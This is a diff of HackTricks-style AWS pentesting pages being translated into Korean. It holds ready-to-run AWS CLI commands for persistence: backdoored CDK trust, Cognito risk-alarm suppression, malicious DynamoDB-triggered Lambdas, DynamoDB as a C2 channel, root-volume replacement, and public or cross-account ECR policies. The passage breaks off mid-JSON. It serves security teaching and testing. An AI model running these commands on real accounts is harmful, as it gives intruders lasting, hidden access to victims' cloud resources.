- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - EKS Abuse
## OIDC - EKS 남용
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
**EKS** 클러스터에서 **OIDC 제공자**를 생성하는 것은 클러스터의 **OIDC URL**을 **새 Open ID ID 제공자**로 설정하는 것만으로 가능합니다. 이는 일반적인 기본 정책입니다:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
}
```
이 정책은 **id** `20C159CDF6F2349B68846BEC03BE031B`를 가진 **EKS 클러스터**만 역할을 맡을 수 있음을 올바르게 나타내고 있습니다. 그러나 어떤 서비스 계정이 이를 맡을 수 있는지 명시하지 않기 때문에 **웹 아이덴티티 토큰**이 있는 **모든 서비스 계정**이 역할을 맡을 수 있게 됩니다.
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
**어떤 서비스 계정이 역할을 맡을 수 있는지** 명시하기 위해서는 **서비스 계정 이름이 지정된 조건**을 명시해야 합니다, 예를 들어:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
## References
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,21 +1,17 @@
# AWS - Permissions for a Pentest
# AWS - Pentest에 대한 권한
{{#include ../../banners/hacktricks-training.md}}
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
감사할 각 AWS 계정에서 모든 제안된 AWS 감사 도구를 실행할 수 있도록 필요한 권한은 다음과 같습니다:
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- **access-analyzer:DeleteAnalyzer**
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
- 기본 정책 **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- [aws_iam_review](https://github.com/carlospolop/aws_iam_review)를 실행하려면 다음 권한도 필요합니다:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- (클라이언트가 분석기를 생성하는 경우 선택 사항이지만, 일반적으로 이 권한을 요청하는 것이 더 쉽습니다)
- **access-analyzer:DeleteAnalyzer**
- (클라이언트가 분석기를 제거하는 경우 선택 사항이지만, 일반적으로 이 권한을 요청하는 것이 더 쉽습니다)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# AWS - Persistence
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +1,25 @@
# AWS - API Gateway Persistence
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## API Gateway
For more information go to:
자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
### 리소스 정책
Modify the resource policy of the API gateway(s) to grant yourself access to them
### Modify Lambda Authorizers
### Lambda Authorizers 수정
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer.
### IAM Permissions
### IAM 권한
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
Or just remove the use of the authorizer.
@@ -29,8 +29,4 @@ Or just remove the use of the authorizer.
If API keys are used, you could leak them to maintain persistence or even create new ones.\
Or just remove the use of API keys.
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +0,0 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
For more information, access:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## CloudFormation
For more information, access:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK는 `CDKToolkit`라는 CFN 스택을 배포합니다. 이 스택은 외부 계정이 피해자 계정에 CDK 프로젝트를 배포할 수 있도록 하는 `TrustedAccounts` 파라미터를 지원합니다. 공격자는 이 설정을 악용해 자신에게 피해자 계정에 대한 무기한 접근 권한을 부여할 수 있으며, 이는 파라미터를 변경하여 스택을 재배포하기 위해 AWS cli 또는 AWS CDK cli를 사용하는 방식으로 수행할 수 있습니다.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,46 +0,0 @@
# AWS - Cognito Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cognito
For more information, access:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### User persistence
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
- **Adding a User Pool** controlled by the user to an Identity Pool
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- Or to an **authenticated Identity Pool** if the attacker can login
- Or **improve the permissions** of the given roles
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
Check how to do these actions in
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
By default this is disabled:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,40 @@
# AWS - Cognito 지속성
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### 사용자 지속성
Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉터리를 관리할 수 있는 서비스입니다. 일부 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성은 다음과 같습니다:
- **Adding a User Pool** 사용자가 제어하는 User Pool을 Identity Pool에 추가
- 인증되지 않은 Identity Pool에 **IAM role**을 부여하고 **Basic auth flow**를 허용
- 또는 공격자가 로그인할 수 있다면 **authenticated Identity Pool**에 부여
- 또는 주어진 역할의 **권한을 향상**
- **Create, verify & privesc**를 속성이 제어되는 사용자 또는 **User Pool**의 새 사용자를 통해 수행
- **Allowing external Identity Providers**를 User Pool 또는 Identity Pool에서 로그인할 수 있도록 허용
이 작업들을 수행하는 방법은 다음에서 확인하세요:
{{#ref}}
../../aws-privilege-escalation/aws-cognito-privesc/README.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
이 권한을 가진 공격자는 위험 구성(risk configuration)을 수정하여 알람이 트리거되지 않은 상태에서 Cognito 사용자로 로그인할 수 있습니다. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
기본적으로 이 기능은 비활성화되어 있습니다:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,67 +0,0 @@
# AWS - DynamoDB Persistence
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
For more information access:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
### DynamoDB as a C2 Channel
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,59 @@
# AWS - DynamoDB Persistence
{{#include ../../../../banners/hacktricks-training.md}}
### DynamoDB
자세한 정보는 다음을 참조하세요:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
DynamoDB 트리거를 사용하면 공격자는 악성 Lambda 함수를 테이블에 연결하여 **은밀한 backdoor**를 생성할 수 있습니다. 항목이 추가, 수정 또는 삭제될 때 Lambda 함수가 트리거되어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있게 합니다.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
지속성을 유지하기 위해, 공격자는 DynamoDB 테이블에 항목을 생성하거나 수정할 수 있으며, 이는 악성 Lambda 함수를 트리거합니다. 이렇게 하면 공격자는 Lambda 함수와 직접 상호작용하지 않고도 AWS 계정 내에서 코드를 실행할 수 있습니다.
### DynamoDB를 C2 채널로
공격자는 명령을 포함한 항목을 생성하고 침해된 인스턴스나 Lambda 함수를 사용해 이러한 명령을 가져와 실행함으로써 DynamoDB 테이블을 **command and control (C2) channel**로 사용할 수 있습니다.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
침해된 인스턴스 또는 Lambda 함수는 주기적으로 C2 테이블을 확인하여 새로운 명령을 실행하고, 선택적으로 결과를 테이블에 보고할 수 있습니다. 이를 통해 공격자는 침해된 리소스에 대한 지속성과 제어를 유지할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,58 +0,0 @@
# AWS - EC2 Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EC2
For more information check:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
### Scheduled Instances
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
### Spot Fleet Request
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
### Backdoor Instances
An attacker could get access to the instances and backdoor them:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### VPN
Create a VPN so the attacker will be able to connect directly through i to the VPC.
### VPC Peering
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,62 @@
# AWS - EC2 영속성
{{#include ../../../../banners/hacktricks-training.md}}
## EC2
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
방어자가 **EC2 instance was compromised**를 발견하면 그는 아마도 해당 머신의 **네트워크를 격리**하려고 할 것입니다. 이것은 명시적인 **Deny NACL**(단, NACLs는 전체 서브넷에 영향을 줌)이나 **security group을 변경해** **어떤 종류의 inbound 또는 outbound** 트래픽도 허용하지 않도록 설정하는 방식으로 할 수 있습니다.
만약 공격자가 머신에서 시작된 **reverse shell originated from the machine**을 보유하고 있다면, SG가 inbound 또는 outbound 트래픽을 허용하지 않도록 수정되더라도 [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**에 의해 연결은 종료되지 않습니다.**
### EC2 Lifecycle Manager
이 서비스는 **AMIs and snapshots의 생성**을 **스케줄**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\
공격자는 모든 이미지나 모든 볼륨의 **AMIs 또는 snapshots 생성**을 매주로 예약하고 이를 **자신의 계정과 공유**하도록 구성할 수 있습니다.
### Scheduled Instances
인스턴스를 일별, 주별 또는 월별로 실행되도록 예약할 수 있습니다. 공격자는 높은 권한이나 흥미로운 접근 권한이 있는 머신을 예약 실행해 접근할 수 있습니다.
### Spot Fleet Request
Spot instances는 일반 인스턴스보다 **저렴**합니다. 공격자는 예를 들어 **5 year 동안의 작은 spot fleet request**를 시작하고, **자동 IP** 할당과 함께 **user data**에 스팟 인스턴스가 시작될 때 공격자에게 **IP address**를 전송하도록 설정하고, **high privileged IAM role**을 부여할 수 있습니다.
### Backdoor Instances
공격자는 인스턴스에 접근한 뒤 backdoor를 심을 수 있습니다:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
실행 중인 인스턴스의 루트 EBS 볼륨을 공격자가 제어하는 AMI 또는 snapshot에서 생성된 것으로 교체하는 작업을 `CreateReplaceRootVolumeTask`를 사용해 수행할 수 있습니다. 인스턴스는 ENIs, IPs, 및 역할을 유지하므로 외형상 변경이 없어 보이면서 악성 코드로 부팅됩니다.
{{#ref}}
../aws-ec2-replace-root-volume-persistence/README.md
{{#endref}}
### VPN
공격자가 VPC에 직접 연결할 수 있도록 VPN을 생성합니다.
### VPC Peering
피해자 VPC와 공격자 VPC 사이에 peering connection을 생성해 공격자가 피해자 VPC에 접근할 수 있게 합니다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,75 @@
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
{{#include ../../../../banners/hacktricks-training.md}}
공격자는 **ec2:CreateReplaceRootVolumeTask**를 악용해 실행 중인 인스턴스의 루트 EBS 볼륨을 공격자가 제어하는 AMI 또는 snapshot에서 복원한 볼륨으로 교체할 수 있습니다. 인스턴스는 자동으로 재부팅되며 ENIs, private/public IPs, 연결된 non-root 볼륨 및 인스턴스 metadata/IAM role을 유지한 채 공격자가 제어하는 루트 파일시스템으로 다시 시작됩니다.
## 요구사항
- 대상 인스턴스는 EBS 기반이며 동일한 리전에서 실행 중이어야 합니다.
- 호환 가능한 AMI 또는 snapshot: 대상 인스턴스와 동일한 아키텍처/가상화/부팅 모드(및 제품 코드가 있는 경우 동일).
## 사전 점검
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>
# Ensure EBS-backed
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## AMI에서 루트 교체 (권장)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>
# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
스냅샷을 사용하는 대안:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## 증거 / 검증
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
## 노트
- API는 인스턴스를 수동으로 중지할 필요가 없습니다; EC2가 재부팅을 자동으로 처리합니다.
- 기본적으로 교체된(기존) 루트 EBS 볼륨은 분리되어 계정에 남겨집니다 (DeleteReplacedRootVolume=false). 이는 롤백에 사용할 수 있으며 비용을 피하려면 삭제해야 합니다.
## 롤백 / 정리
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,101 +0,0 @@
# AWS - ECR Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECR
For more information check:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### Hidden Docker Image with Malicious Code
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
### Repository Policy
Add a policy to a single repository granting yourself (or everybody) access to a repository:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
### Registry Policy & Cross-account Replication
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
First, you need to give the external account access over the registry with a **registry policy** like:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Then apply the replication config:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,145 @@
# AWS - ECR Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Hidden Docker Image with Malicious Code
공격자는 ECR 리포지토리에 **malicious code를 포함한 Docker 이미지를 업로드**하여 대상 AWS 계정에서 persistence를 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS나 EKS와 같은 계정 내의 다양한 서비스에 해당 악성 이미지를 은밀하게 배포할 수 있습니다.
### 리포지토리 정책
하나의 리포지토리에 자신(또는 모든 사용자)에게 접근 권한을 부여하는 정책을 추가합니다:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> ECR는 사용자가 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 push 또는 pull하기 전에, IAM policy를 통해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 가지고 있어야 한다는 점에 유의하세요.
### 레지스트리 정책 및 크로스-계정 복제
cross-account replication을 구성하면 레지스트리를 외부 계정에 자동으로 복제할 수 있으며, 이때 레지스트리를 복제하려는 외부 계정을 **명시**해야 합니다.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
먼저, 다음과 같은 **registry policy**로 외부 계정에 레지스트리 접근 권한을 부여해야 합니다:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
그런 다음 복제 구성(replication config)을 적용하세요:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
### Repository Creation Templates (prefix backdoor for future repos)
ECR Repository Creation Templates를 악용하면 제어된 접두사 아래에서 ECR이 자동으로 생성하는 모든 리포지토리에 대해 자동으로 backdoor를 심을 수 있습니다(예: Pull-Through Cache 또는 Create-on-Push를 통해). 이렇게 하면 기존 리포지토리를 건드리지 않고도 향후 리포지토리에 지속적인 무단 접근 권한을 확보할 수 있습니다.
- 필요 권한: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
- 영향: 대상 접두사 아래에 생성되는 모든 신규 리포지토리는 자동으로 공격자가 제어하는 repository policy(예: cross-account read/write), tag mutability, 및 scanning defaults를 상속합니다.
<details>
<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
```bash
# Region
REGION=us-east-1
# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
